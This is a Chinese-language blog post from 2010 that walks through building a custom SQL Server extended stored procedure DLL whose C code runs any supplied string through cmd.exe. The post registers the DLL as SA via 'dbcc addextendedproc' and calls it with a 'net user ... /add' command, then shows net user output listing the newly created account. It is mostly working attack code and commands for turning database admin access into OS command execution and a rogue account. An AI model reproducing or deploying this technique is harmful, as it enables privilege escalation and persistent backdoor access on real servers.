Chinaunix首页 | 论坛 | 博客
  • 博客访问: 77589
  • 博文数量: 32
  • 博客积分: 1440
  • 博客等级: 上尉
  • 技术积分: 375
  • 用 户 组: 普通用户
  • 注册时间: 2008-06-25 16:03
文章分类

全部博文(32)

文章存档

2010年(12)

2008年(20)

我的朋友

分类: 网络与安全

2010-10-19 15:21:37

在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:
  1. #include

  2. #include

  3. #define XP_NOERROR 0

  4. #define XP_ERROR 1

  5. #define MAXCOLNAME 25

  6. #define MAXNAME 25

  7. #define MAXTEXT 255

  8. #ifdef __cplusplus

  9. extern “C” {

  10. #endif

  11. RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);

  12. #ifdef __cplusplus

  13. }

  14. #endif

  15. RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)

  16. {

  17. /***************************** 说明 *************************

  18. 由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,

  19. 无赖之下,只好用老式的srv_paramdata

  20. *************************************************************/

  21. int bufLen;

  22. DBCHAR spName[MAXNAME];

  23. DBCHAR spText[MAXTEXT];

  24. DBCHAR spBuf[MAXTEXT];

  25. unsigned char cmdline[255] = “”;

  26. if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出

  27. bufLen = srv_paramlen(srvproc,1);

  28. if(!bufLen) return XP_ERROR;

  29. wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值

  30. wsprintf(spName, “xp_hello”);

  31. wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);

  32. srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息

  33. wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数

  34. ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令

  35. return XP_NOERROR ;

  36. }
复制代码
编译生成xp_hello.dll

以SA连接SQL Server 执行

dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);

提示成功过后,调用

exec xp_hello ‘net user fuck fuck /add’;

这样系统里面就多了个fuck账户

C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user

\\PC-200910151119 的用户帐户

—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。
阅读(420) | 评论(1) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2010-10-19 19:09:47

很好的, 收藏了 推荐一个博客,提供很多免费软件编程电子书下载: http://free-ebooks.appspot.com